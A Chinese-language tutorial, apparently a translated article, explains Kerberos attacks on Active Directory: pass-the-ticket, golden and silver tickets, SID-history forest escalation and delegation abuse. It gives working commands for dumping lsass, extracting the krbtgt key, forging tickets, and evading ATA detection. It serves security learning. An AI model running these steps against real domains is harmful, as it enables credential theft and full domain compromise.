进行Pass the Ticket攻击时,首先需要窃取票证和相关的会话密钥,并使用它们来冒充用户,以便访问相关资源或服务。需要注意的是,虽然TGT和ST都是可以使用的,但TGTs是首选,因为可以利用它冒充用户来访问任何服务(通过使用它来请求ST),而ST只能用于访问一种服务(如果SPN被修改为同一用户的另一个服务,则能访问多种服务)。
在Windows系统中,票证可以在lsass进程内存中找到,并且可以使用mimikatz sekurlsa::tickets命令或Rubeus dump命令提取票证。另一种方法是使用procdump、sqldumper或其他工具转储lsass进程,并使用mimikatz或Pypykatz离线提取票证。这些命令都能提取krb格式的票证。
PS C:\> .\procdump.exe -accepteula -ma lsass.exe lsass.dmp ProcDump v10.0 - Sysinternals process dump utility Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [12:03:17] Dump 1 initiated: C:\lsass.dmp [12:03:18] Dump 1 writing: Estimated dump file size is 34 MB. [12:03:18] Dump 1 complete: 34 MB written in 1.0 seconds [12:03:18] Dump count reached.
通过procdump转储lsass内存
$ pypykatz lsa minidump lsass.dmp -k /tmp/kerb > output.txt INFO:root:Parsing file lsass.dmp INFO:root:Writing kerberos tickets to /tmp/kerb $ ls /tmp/kerb/ lsass.dmp_51a1d3f3.ccache 'TGS_CONTOSO.LOCAL_WS02-7$_WS02-7$_29a9c991.kirbi' lsass.dmp_c9a82a35.ccache TGT_CONTOSO.LOCAL_anakin_krbtgt_CONTOSO.LOCAL_6483baf5.kirbi TGS_CONTOSO.LOCAL_anakin_LDAP_dc01.contoso.local_contoso.local_f8a46ad5.kirbi 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_740ef529.kirbi' 'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_b9833fa1.kirbi' 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_77d63cf0.kirbi' 'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_bfed6415.kirbi' 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_7ac74bd6.kirbi' 'TGS_CONTOSO.LOCAL_WS02-7$_ldap_dc01.contoso.local_contoso.local_2129bc1c.kirbi' 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_fdb8b40a.kirbi' 'TGS_CONTOSO.LOCAL_WS02-7$_LDAP_dc01.contoso.local_contoso.local_719218c6.kirbi'
用pypykatz从lsass转储中检索票证
另一方面,在作为域一部分的Linux机器中,票证通常以不同的方式存储。在默认情况下,票证通常可以在/tmp目录下的格式为krb5cc_%{uid}的文件中找到,其中uid是用户uid。为了获取票证,只需复制该文件即可(如果您有相应的权限的话)。但是,票证也有可能存储在Linux内核密钥中而不是文件中,这时您可以使用tickey来获取它们。
为了确定票证存储在Linux机器中的具体位置,您可以检查/etc/krb5.conf中的Kerberos配置文件。另外,在Linux机器中,票证通常以ccache格式进行存储。
为了在Windows计算机中使用票证,必须将它们注入lsass进程,这可以使用mimikatz kerberos::ptt命令或Rubeus ptt命令来完成。这些实用程序能够读取krb格式的票证。
PS C:\> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::ptt pikachu-tgt.kirbi * File: 'pikachu-tgt.kirbi': OK
将TGT注入当前Windows会话
一旦票证被注入会话,你就可以使用任何工具通过网络冒充用户进行各种操作,如pexec。
在Linux中,只要设法让KRB5CCNAME环境变量指向票证文件,就可以通过impacket实用程序使用这些票证了。注意,使用impacket实用程序时,必须使用-k-no-pass参数。另外,这里必须使用ccache格式的票证。
通过ticket_converter.py脚本或cerbero convert命令,就能让票证在krb(Windows)和ccache(Linux)格式之间相互转换。
Golden/Silver ticket
在Active Directory中,Kerberos TGT是使用krbtgt帐户的密钥进行加密的。在知道该密钥的情况下,可以创建自定义TGT,即所谓的金票。
要获得krbtgt密钥,需要访问Active Directory数据库。为此,可以通过mimikatz lsadump::dsync命令或impacket secretsdump.py脚本执行远程dcsync攻击,或者使用ntdsutil或vssadmin在本地转储ntds.dit文件来实现此目的。
$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user krbtgt Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162 krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506 krbtgt:des-cbc-md5:0e6d79d66b4951cd [*] Cleaning up...
用secretsdump.py获取krbtgt密钥
同样,如果我们得到了服务用户的Kerberos密钥,就可以为服务创建一个自定义ST,称为银票(Silver Ticket)。实际上,通过查看用户登录的域计算机的lsass进程、执行Kerberoast和转储Active Directory数据库等,就可以获得服务用户的密钥。
利用金票和银票,可以为域中的任何用户创建票证,甚至为不存在的用户创建票证。此外,我们可以通过修改PAC用户组并包括例如“Domain Admins”组来赋予票证用户更高的特权,从而获得域管理员的特权。
此外,我们必须用krbtgt密钥对票证PAC进行签名,但对于银票来说,则不能执行该操作:我们只知道用户服务密钥,所以,这里使用的是一个假签名,因为服务用DC验证PAC签名容易引起怀疑。
为了创建金票和银票,可以使用mimikatz kerberos::golden命令或impacket ticketer.py脚本。然后,可以把它们当作任何票证来使用。如果可以的话,请使用AES256密钥,以避免被ATA等安全解决方案检测到。
$ ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for contoso.local/Administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncAsRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncASRepPart [*] Saving ticket in Administrator.ccache
用ticketer.py创建金票
一旦创建了金票,就能获得该票证中指定的权限,从而可以冒充域中的任何用户,甚至冒充根本就不存在的用户,并访问域中的任何服务。
要记住的一点是,一旦创建了金票,必须在20分钟内使用它,否则KDC将检查PAC信息,以验证其正确性。
而在创建银票后,只能获得访问已经获得其密码的用户的服务的权限。银票的一个使用场景是,当您拥有计算机域帐户密码时,以管理员身份访问计算机:即使您在计算机域帐户对应的计算机中没有管理员权限,只要知道该账户的密码,就可以为其服务生成银票,进而冒充该机器的管理员。
总的来说,银票可以用来访问一个用户的服务,而金票可以用来访问域中的任何服务……。
Kerberos Across domains
金票也可以用来攻击整个林。但是,在进一步深入之前,让我们先回顾一下Kerberos是如何在受信域(trusted domains)中工作的。
正如我们以前所看到的,域用户可以访问信任域中的服务(使用传入信任或双向信任)。访问外部域资源的过程还需要进行身份验证,这可以通过Kerberos完成。
但是,KDC(DC)只能为其域中的服务颁发ST,那么,Kerberos是如何跨域工作的呢?嗯,有必要向外部域DC服务器请求一个ST,为此,我们需要该服务器的TGT。当我们为另一个域中的服务请求ST时,外部KDC的TGT(称为inter-realm TGT)是由我们的KDC颁发的,具体步骤如下所示:
KDC foo.com KDC bar.com .---. .---. / /| .---4) TGS-REQ (TGT bar)-------> / /| .---. | | + SPN: HTTP\srvbar .---. | | | ' | + TGT client > bar.com | | ' | |/ | | |/ '---' | .--5) TGS-REP--------------< '---' v ^ | | + ST client > HTTP/srvbar | | | | | | ^ v .---. | '-2) TGS-REQ (TGT foo)--< _____ / /| | + SPN: HTTP\srvbar | | <----------1) SPNEGO---------> .---. | | + TGT client > foo.com |_____| | | ' | /:::::/ >----6) AP-REQ---------------> | |/ '--3) TGS-REP--------------> client + ST client > HTTP/srvbar '---' + TGT client > bar.com (foo.com) srvbar (bar.com)
跨域Kerberos
- 来自foo.com域的客户端/用户使用SPNEGO与所需的服务协商Kerberos身份验证,在本例中,所需服务为来自bar.domain的HTTPsrvbar(服务器srvbar中的Web服务器)。
- 客户端通过发送TGS-REQ消息,使用foo.com的TGT向其KDC请求用于HTTP\srvbar的ST。
- KDC识别出该服务位于信任域bar.com中。因此,foo.com的KDC将为bar.com创建了一个TGT,并使用域间信任密钥(信任双方共享的秘密密钥)作为加密(和PAC签名)密钥。然后,KDC通过TGS-REP消息返回bar.com的TGT。注意,bar.com TGT中的PAC其实就是foo.com TGT PAC的副本。
- 客户端使用bar.com TGT通过发送TGS-REQ消息向bar.com KDC请求HTTP\srvbar ST。
- bar.com KDC通过使用域间信任密钥对票证进行解密来检查票证。然后,为客户端的HTTP\srvbar创建一个ST。创建新ST时,将复制TGT中的PAC,并在必要时进行筛选。通常,它会删除不属于受信任域林的额外SID。
- 最后,客户端使用ST通过HTTP\srvbar服务对自己进行身份验证。
奇怪的是,域间TGT通常会使用RC4算法而不是AES256算法进行加密。
SID History attack
这个过程的有趣之处在于,在域间交互时,PAC会在票证之间进行复制。这种行为使攻击者能够为域制作金票,从而危及整个林。
正如我们前面所看到的,PAC有一个字段用于保存额外的SID,用于标识特殊的实体。该字段通常用于提供存储在SIDHistory属性中的那些SID。
SID历史记录用于迁移之用。当用户从一个域迁移到另一个域时,将重置该用户的特权,创建一个新的SID,并将该用户添加到新的组中,等等。然而,来自该用户在旧域中所属组的SID,仍会存储在SID History属性中。
然后,当用户想要访问旧域中的资源时,他们的历史SID将被添加到PAC额外SID字段中。通过这种方式,旧域可以检查这些SID,并授予用户原有的权限,使用户得以访问旧域资源。
但是,可以根据SID过滤策略忽略额外的SID(不复制到ST PAC中)。通常,域允许来自林中其他域的SID(默认情况下),但根据ForestSpecific规则,仍可能会丢弃来自外部林中的额外SID,因为林是Active Directory的安全边界。
此外,我们还可以隔离同一林的域,这样就可以通过QuarantinedWithinForest策略来删除额外的SID。
另外,我们可以利用不同林域之间的信任关系来启用SID历史记录,但存在一些限制:目标(信任)林中的管理组,其RID必须大于1000。因此,像“Domain Admins”(RID=512)这样的、RID小于1000的组将踢出管理组,但是RID较高的组仍划归管理组(或成为管理组),如Exchange管理组。
然后,就可以通过编辑SID历史记录,来注入其他域的管理权限。例如,如果将Enterprise Admins SID插入到用户SID历史记录中,则该用户可以在整个林中拥有管理权限。
同时,我们可以使用mimikatz misc::addsid命令在Active Directory数据库中直接编辑SID History属性。
但是,正如我们前面所说的,由于SID History属性会被复制到TGT的PAC中,所以,如果我们可以创建一个金票,就能将所需的历史SID直接注入到PAC额外的SID属性中。然后,当我们使用这个“Golder”票证时,它的PAC将被复制到域间TGT中。之后,当使用该域间TGT为外部域中的服务获取ST时,如果这些域位于同一林中,则特权SID就可以复制到ST PAC中,从而授予我们最初在金票中注入的特权。
攻击者经常插入的SID是“Enterprise Admins”的SID,该组只存在于林中的根域中,并且默认情况下作为林中所有域的所有“domain Admins”组的成员添加。
实际上,如果您破坏了域的根目录林,并创建了一个包含“Enterprise Admins”组的金票(RID为519,默认情况下impacket和mimikatz会包含该组),那么您就无需创建带有额外SID的金票了,因为您已经拥有控制所有目录林的权限,甚至包括隔离域(因为没有额外的SID要筛选)。只有当您破坏一个非根域并希望入侵林中的另一个域(过滤额外SID的隔离域除外)时,才需要将“Enterprise Admins”组添加到额外SID中。
PS C:\> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::krbtgt Current krbtgt: 5 credentials * rc4_hmac_nt : 1bf960a6af7703f75b1a2b04787c85fb * rc4_hmac_old : 1bf960a6af7703f75b1a2b04787c85fb * rc4_md4 : 1bf960a6af7703f75b1a2b04787c85fb * aes256_hmac : 8603210037f738c50120dbe0f2259466fd4fdd1d58ec0cf9ace34eb990c705a3 * aes128_hmac : 204be93d3c18326bf0e6675eb0a32202 mimikatz # kerberos::golden /admin:Administrator /domain:it.poke.mon /sid:S-1-5-21-1913835218-2813970975-3434927454 /sids:S-1-5-21-4285720809-372211516-2297741651-519 /aes256:8603210037f738c50120dbe0f2259466fd4fdd1d58ec0cf9ace34eb990c705a3 /ptt /groups:512,520,572 User : Administrator Domain : it.poke.mon (IT) SID : S-1-5-21-1913835218-2813970975-3434927454 User Id : 500 Groups Id : *512 520 572 Extra SIDs: S-1-5-21-4285720809-372211516-2297741651-519 ; ServiceKey: 8603210037f738c50120dbe0f2259466fd4fdd1d58ec0cf9ace34eb990c705a3 - aes256_hmac Lifetime : 5/13/2021 9:36:28 AM ; 5/11/2031 9:36:28 AM ; 5/11/2031 9:36:28 AM -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'Administrator @ it.poke.mon' successfully submitted for current session
利用额外SID中的Enterprise Admins发动Pass-The-Ticket攻击
然而,要在其他域中执行dcsync攻击,使用“Enterprise Domain Controllers”(S-1-5-9)和“Domain Controllers”(S-1-5-21-domain-516)组的SID能够达到更隐蔽的效果,因为DC通常会执行dcsync中的同步规则。
要创建“Golder”票证,可以使用mimikatz kerberos::golden命令或impacket ticketer.py脚本,这一点与金票的创建过程类似,但需要添加额外的SID。如果可以,请使用AES256密钥以避免被ATA等安全解决方案检测到。
Inter-realm TGT
正如我们所看到的,将Kerberos用于域间操作引入了一种新的TGT,即域间TGT。这种TGT与普通TGT完全相同,只是使用域间信任密钥进行了加密,而域间信任密钥是一种允许信任双方互相进行通信的密钥。该密钥存储为表示信任关系的用户帐户的密钥。
为了获得域间信任密钥,通常需要转储域数据库。此外,在某些情况下,还可以通过Kerberoast获得信任密钥。
当创建信任关系时,密码可以由个人进行选择,因此,我们可以设置弱密码。然后,我们可以设法获得一个用信任密钥加密的域间TGT,然后破解它,以获得信任密码(用于生成所有Kerberos信任的密钥)。但请记住,信任密码和机器密码通常每30天就会更换一次。
最后,一旦获得信任密钥,就可以使用mimikatz kerberos::golden命令或impacket ticketer.py脚本创建域间票证。这样,就可以把它作为任何票证使用。信任间票证(inter-trust tickets)是用RC4密钥加密的,即信任帐户的NT哈希值。
Kerberos Delegation
正如我们所看到的,Kerberos允许用户在整个域,甚至在其他域中对服务进行身份验证和访问。然而,有时被访问的服务需要“冒充”用户的身份,以便与第三方服务进行对话。
例如,用户登录的Web服务器(使用Kerberos)需要以用户的身份在数据库中执行一些活动。然而,当用户对网络服务器进行身份验证时,它只会为自己接收用户ST,但为了冒充用户,它还需要数据库服务的用户ST。
要处理这种情况,可以使用Kerberos委派。该特性提供了允许服务代表客户端为第三个服务获得ST的机制。
要在Active Directory中执行Kerberos委派,有两种方法: * * 无约束委派 * 这意味着会将ST内的用户TGT发送给服务,允许它通过使用客户端TGT来全面“冒充”KDC中的客户端。 * 约束委派 * 这意味着会提供相关机制,即用户服务(S4U)扩展,允许服务“冒充”用户请求ST而不需要提供客户端TGT,并且只针对某些被许可的服务。
下面,让我们考察Kerberos委派是如何工作的。为此,让我们先回顾一下阻止委派的反委派措施。
Kerberos Anti Delegation Measures
有两种机制可用于避免委派(在Kerberos中冒充)特定用户帐户:
在用户帐户的UserAccountControl属性中设置NOT_DELEGATED标志。 将用户添加到“受保护用户”组。
在对用户帐户应用任何类似措施时,将无法进行委派。因此,了解哪些是受保护的帐户是非常重要的,要找到这些帐户,您可以使用具有以下筛选器的LDAP查询:
(| (memberof:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=<domain>,DC=<dom>) (userAccountControl:1.2.840.113556.1.4.803:=1048576) )
检索受委派保护的帐户的LDAP筛选器
要查找受委派保护的帐户,您可以使用Powerview、Powershell activedirectory模块或ldapsearch等工具。
Kerberos Unconstrained Delegation
在Kerberos无约束委派中,服务可以模拟客户端用户,因为这会将自己的TGT发送到服务。然后,服务可以使用用户TGT(没有任何约束)来冒充客户端为其他服务请求新的ST。
KDC将在ST中为其所有者(服务用户)设置了UserAccountControl TRUSTED_FOR_标志的任何服务设置OK-AS-DELEGATE标志。通过检查OK-AS-DELEGATE和FORWARDABLE标志,客户端就能知道它是否应该请求将TGT发送到目标服务,以便允许不受约束的委派。
如果客户端是受保护用户组的成员或设置了UserAccountControl NOT_DELEGATED标志,则在ST中取消设置FORWARDABLE标志。
此外,要在用户帐户中设置TRUSTED_FOR_标志,则需要SeEnableDelegationPrivilege权限。
让我们看一个具体的示例:
`KDC (DC) .-----------1) TGS-REQ-------------> .---. <--------6) TGS-REQ-------------. | + SPN: HTTP/websrv / /| + SPN: MSSQLSvc/dbsrv | | + TGT client .---. | + TGT client - FORWARDED | | | | ' | | .--------2) TGS-REP-----------< | |/ >--------7) TGS-REP-----------. | | | + ST client > HTTP/websrv '---' + ST client > MSSQLSvc/dbsrv | | | | - OK-AS-DELEGATE ^ v | | | | - FORWARDABLE | | | | ^ v | | | | _____ | | | | | | >-----3) TGS-REP-----------' | | | |_____| + SPN: krbtgt/domain.local | | | /:::::/ + TGT client | | | ------ | | | client <-----4) TGS-REP---------------' | | v + TGT client - FORWARDED v ^ | .---. | / /| | .---. | '----------------------------5) AP-REQ---------------------------> | | ' + ST client > HTTP\websrv | |/ + TGT client - FORWARDED '---' websrv v .---. | / /| | .---. | <--------8) AP-REQ-------------' | | ' + ST client > MSSQLSvc\dbsrv | |/ '---' dbsrv`
无约束委派
客户端通过使用其TGT,为HTTP\websrv服务(websrv服务器中的一个网络服务)请求一个ST。HTTP\websrv服务属于用户websrv$(记住,[[#computer-accounts][computer accounts]]格式的用户名以=$=结尾)。 KDC会检查是否为websrv$用户设置了TRUSTED_FOR_DELEGATION标志。如果已经设置的话,KDC将向客户端返回一个HTTP\websrv的ST,该ST已经设置了OK-AS-DELEGATE标志(和FORWARDABLE标志)。 客户端检查OK-AS-DELEGATE标志,发现该服务使用了委派,所以,它决定向KDC索要发送给该服务的FORWARDED TGT。 KDC返回一个带有FORWARDED标志的TGT。 客户端向websrv发送包含FORWARDED TGT的ST,以获得对HTTP/websrv服务的访问权限。 有时,HTTP\websrv需要冒充客户端来访问位于dbsrv的数据库服务。因此,Web服务将使用收到的客户端TGT,以客户身份为MSSQLSvc\dbsrv请求一个ST。 然后,KDC为客户端返回一个ST,使其能够访问MSSQLSvc\dbsrv服务。 最后,HTTP\websrv服务通过冒充客户端使用ST来访问MSSQLSvc\dbsrv。
最重要的事实可能是,任何发送到HTTP\websrv的ST将包含一个来自客户端的TGT。因此,如果有人入侵了websrv服务器,就能够得到所有这些TGT,并通过Pass the Ticket攻击使用它们来冒充任何客户。
要从一台Windows机器上检索票证(包括委派的TGT),可以使用mimikatz sekurlsa::tasks命令或Rubeus dump命令。除此之外,还可以用procdump、sqldumper或其他工具来转储lsass进程,然后用mimikatz或pypykatz离线提取票证。
但请记住,对于设置了UserAccountControl TRUSTED_FOR_DELEGATION标志的账户的服务来说,TGT将包含在所有ST中。因此,在前面的例子中,由于websrv$计算机账户是HTTP\websrv服务的所有者,因此,为websrv$的任何其他服务请求的任何ST,例如CIFS\websrv(可以用来访问SMB共享),也将包含客户端TGT。
为了识别无约束委派账户,可以使用下面的LDAP过滤器:
(UserAccountControl:1.2.840.113556.1.4.803:=524288)
为了查找无约束委派帐户,可以使用Powerview、impacket findDelegation.py脚本、Powershell ActiveDirectory模块或LDAPSearch等工具。
因此,如果您入侵了一个服务器,并且其帐户具有无约束委派,那么,您可以获得连接到它的所有客户端的TGT。同时,您还可以使用各种钓鱼技术来诱骗用户连接到您的服务器,例如利用诱饵文件悄悄连接至已经被入侵的计算机,从而获取Kerberos TGT。
此外,您可以通过强制计算机帐户连接到含有打印机安全漏洞的服务器来获得该帐户的TGT。之后,设法让打印机使用RPRN RPC接口的特定RPC调用:即允许任何“经过身份验证的用户”向目标计算机指示要通过SMB连接的服务器的调用。
为了触发打印机的安全漏洞,可以使用SpoolSample工具或printerbug.py脚本。注意,您必须将主机名作为参数传递给目标计算机才能使用Kerberos,如果您提供了IP,则将使用NTLM进行身份验证,并且不会执行任何委派。此外,您可以使用SpoolerScan.ps1脚本扫描启用了假脱机服务(默认情况下将会启用该服务)的计算机。
此外,可以使用Rubeus monitor命令来监视TGT。
同时,还可以在不接触被入侵服务器的情况下收集TGT。
为此,我们需要修改已经得手的无约束委派帐户的SPN。坏消息是,为了执行这个操作,必须具有Validated-SPN权限,并且默认情况下,无法将该权限授予自己的帐户。但是,对于计算机帐户来说,默认情况下却可以添加与其主机名匹配的SPN;幸运的是,其中就包括添加到msDS-AdditionalDnsHostName中的主机名,这些主机名允许帐户本身进行修改。然后,我们可以将机器的主机名作为新主机名进行添加,并创建指向机器的SPN。实际上,我们可以借助addspn.py来完成这一操作。另外,我们还可以使用setspn实用程序来添加SPN。
为了使主机名指向我们的机器,可以使用Powermad或dnstool.py创建一个自定义的ADIDNS记录。
然后,我们可以利用打印机Bug或钓鱼技术,让用户对我们的服务器进行身份验证。最后,为了收集TGT,我们还可以使用Krbrelayx。
一个非常有趣的情况是,我们可以利用打印机Bug来攻击DC,使其连接到我们控制下的服务器,从而达到入侵域的目的。通过这种方式,您可以获得DC帐户的TGT,并通过它来发动DCSync攻击。
Kerberos Unconstrained Delegation across forests
事实上,这种技术也可以用于启用了TGT委派的双向林信任关系,从而入侵另一个林。通常情况下,TGT委派是默认启用的;但Microsoft已经发布了一个补丁程序,使TGT委派变为默认禁用了。
下面给出了在启用TGT委派的情况下跨域打印机Bug攻击所涉及的Kerberos消息。首先,攻击者从barsrv向foosrv发送一个RPC调用,以命令最后一个调用连接到udbarsrv,该调用已经施加了无约束委派。完成上述调用后,就可以在udbarsrv中获得foosrv$(foosrv的域用户)用户的TGT。
详细步骤如下所示:
.--1) TGS-REQ----------------> .---. <-------8) TGS-REQ----------------. | + SPN: cifs/foosrv / /| + SPN: cifs/udbarsrv | | .---. | + TGT foosrv$ > bar.com | | | | ' | | .------2) TGS-REP---------< | |/ >-------9) TGS-REP--------------. | | | + TGT barsrv$ > foo.com '---' + ST foosrv$ > cifs/udbarsrv | | | | KDC - OK-AS-DELEGATE | | | | bar.com | | ^ v | | .---. | | / /| RpcRemoteFindFirstPrinterChangeNotification -> udbarsrv | | .---. | ---------5) AP-REQ -------------------------------------------. | | | | ' + ST barsrv$ > cifs/foosrv | | | | |/ | | | '---' | | | barsrv .---. | | | ^ v / /| <-------12) AP-REQ--------------------. | | | | | .---. | + ST foosrv$ > cifs/udbarsrv | | | | | | | | ' + TGT foosrv$ | | | | | | | |/ - FORWARDED | v v ^ | | '---' '-----------< .---. | | udbarsrv .--6) TGS-REQ--------------------< / /| | | | + SPN: cifs/udbarsrv .---. | | | | | | ' | | | .----7) TGS-REP--------------> | |/ | | | | + TGT foosrv$ > bar.com '---' | | v ^ - OK-AS-DELEGATE foosrv | | .---. v ^ | '-------3) TGS-REQ-----------> / /| | | | + SPN: cifs/foosrv .---. |<-----10) TGS-REQ-------------' | | + TGT barsrv$ > foo.com | | ' + SPN: krbtgt/foo.com | | | |/ | '--------4) TGS-REP-----------< '---' >-----11) TGS-REP---------------' + ST barsrv$ > cifs/foosrv KDC + TGT foosrv$ foo.com - FORWARDED
利用打印机Bug发动已启用委派的跨域攻击时涉及的Kerberos消息
(位于bar.com域中的)barsrv向bar.com KDC发送了一个TGS-REQ,要求为使用foosrv的SMB服务(cifs)提供一个相应的ST(因为利用打印机Bug时需要使用SMB的RPC)。 bar.com KDC检查发现所请求的服务位于信任域foo.com中,并为该域的barrv$颁发了一个TGT。 然后,barrv通过用于foo.com域的TGT向foo.com KDC请求一个用于cifs/foosrv服务的ST。 之后,foo.com KDC会为barrv$返回一个用于cifs/foosrv服务的ST。 然后,barrv对foosrv进行身份验证,并执行利用打印机Bug的调用,即RpcRemoteFindFirstPrinterChangeNotification,让foosrv(属于foo.com域)通过SMB连接到udbarsrv服务器(属于bar.com域)。 foosrv要求foo.com KDC为udbarsrv(cifs/udbarsrv)的SMB服务提供一个ST。 foo.com KDC通过检查发现所请求的服务位于信任域bar.com中,因此,将为foosrv$颁发一个用于该域的TGT。这个TGT包括OK-AS-DELEGATE标志,表明foo.com为bar.com启用了TGT委派。 接下来,foosrv使用新的TGT请求bar.com KDC为cifs/udbarsrv提供ST。 bar.com KDC为foosrv$返回一个用于cifs/udbarsrv的ST。这个ST设置了OK-AS-DELEGATE标志,表明该服务使用了无约束委派。 因此,foosrv检查cifs/udbarsrv是否使用委派,以及bar.com的委派是否被允许,发现答案都是肯定的,所以,它将向foo.com KDC请求一个转发型TGT。 foo.com KDC将用户foosrv$的TGT返回给foosrv服务器。 最后,foosrv连接到udbarsrv并进行身份验证,包括它自己的TGT。现在,这台机器中的攻击者就可以收集TGT并通过它来访问foosrv了。
在本例中,barsrv和udbarsrv是不同的服务器,这是为了表明它们可以是不同的机器,但是打印机Bug也可以用来指示重新连接到执行RPC调用的同一台机器。此外,KDC也可以是执行或接收打印机Bug相关调用的服务器。在本例中,使用了许多不同的计算机来展示攻击中的各种Kerberos消息和角色。
在这方面,重要的是要知道DC(KDC)启用了无约束委派,所以一旦某个域DC遭到入侵,就可能导致其他启用了TGT委派的、具有双向信任关系的林也随之沦陷。
Kerberos Constrained Delegation
正如我们所看到的,无约束委派可能是极其危险的东西,因为可以利用它来冒充客户端并行使其全部权限。因此,为了创建一个更具限制性的委派机制,微软开发了两个名为Service for User(S4U)的Kerberos扩展:
Service for User to Proxy (S4U2proxy) Service for User to Self (S4U2self)
通过使用这些扩展,可以将服务限制为仅针对一组允许的第三方服务执行委派,并且不需要提供用户TGT,这样就避免了将其存储在服务服务器上了。这其实就是所谓的约束委派。
S4U2proxy
S4U2proxy(Service for User to Proxy)扩展允许服务通过使用发送到服务的客户端ST,而不是客户端TGT,以“代表”客户端请求另一个服务的ST。
此外,与无约束委派不同,服务只能为某些白名单中的服务来请求“冒名”ST。这些被允许的服务由以下属性定义:
服务用户帐户的msDS-AllowedToDelegateTo属性,其中包含一个SPN(服务)列表,以指出它(及其服务)可以代表哪些客户端请求ST。这个服务列表通常用于经典的约束委派。为了修改msDS-AllowedToDelegateTo属性,需要具有SeEnableDelegationPrivilege权限。
目标服务用户帐户的MSDS-AllowedToActonBeHalfOtherIdentity属性,其中包含一个服务用户帐户列表。这个用户列表通常用于基于资源的约束委派(RBCD)。
以下命令(用Powershell的ActiveDirectory模块创建)显示了这些属性的例子:
PS C:\Users\Administrator> get-aduser anakin -Properties msDS-AllowedToDelegateTo DistinguishedName : CN=Anakin,CN=Users,DC=contoso,DC=local msDS-AllowedToDelegateTo : {HTTP/webserver, HTTP/webserver.contoso.local} SamAccountName : anakin SID : S-1-5-21-1372086773-2238746523-2939299801-1103 UserPrincipalName : anakin@contoso.local
msDS-AllowedToDelegateTo属性示例
这里,允许用户Anakin的服务对“HTTP/WebServer”服务进行委派。因此,对于"HTTP/WebServer"来说,Anakin可以针冒充任何用户(受保护的用户除外)。
msDS-AllowedToDelegateTo .---. / /| \o/ delegate to .---. | | -----------------------> | | ' / \ | |/ Anakn '---' HTTP/webserver
此外,由于能够修改票证的目标服务,所以,Anakin可以冒充客户端请求“HTTP/webserver”的票证,并将目标服务改为“HTTP/webserver”所有者的任何服务,因为所有这些服务ST都是使用相同的Kerberos密钥进行加密的。
例如,如果“HTTP/webserver”的用户是webserver$(webserver计算机的用户帐户),那么Anakin就能过冒充客户端来请求“HTTP/webserver”的票证,并通过将目标服务改为“cifs/webserver”来使用该票证访问webserver的SMB服务。通过这种方式,Anakin就可以通过冒充客户端来访问webserver了。
PS C:\Users\Administrator> get-aduser han -Properties PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity DistinguishedName : CN=Han,CN=Users,DC=contoso,DC=local Enabled : True GivenName : Han msDS-AllowedToActOnBehalfOfOtherIdentity : System.DirectoryServices.ActiveDirectorySecurity Name : Han ObjectClass : user ObjectGUID : 356a7fb7-6cc0-4e09-a77f-b64e1677f2a8 PrincipalsAllowedToDelegateToAccount : {CN=Anakin,CN=Users,DC=contoso,DC=local} SamAccountName : han SID : S-1-5-21-1372086773-2238746523-2939299801-1109 Surname : UserPrincipalName : han@contoso.local
msDS-AllowedToActOnBehalfOfOtherIdentity示例
由于值msDS-AllowedToActOnBehalfOfOtherIdentity是二进制格式的安全描述符,所以,您需要请求属性PrincipalsAllowedToDelegateToAccount,因为该属性能够以友好的格式打印该数据。
另一方面,通过检查用户Han的msDS-AllowedToActOnBehalfOfotherIdentity,我们发现它允许Anakin用户对其所有的服务进行委派。
因此,对用户Han的任何服务来说,Anakin都可以冒充任意用户(受保护的用户除外)。
`msDS-AllowedToActOnBehalfOfOtherIdentity \o/ delegate to o | --------------------------------> /|\ / \ / \ Anakin Han`
此外,KDC还会检查其他参数,以决定S4U2proxy请求的结果。此外,它还将考虑客户端ST是否可转发,以及客户端是否能够进行委派,详情可以参阅MS-SFU规范中的相关规则。下面,我们对这些规则进行简单的总结:
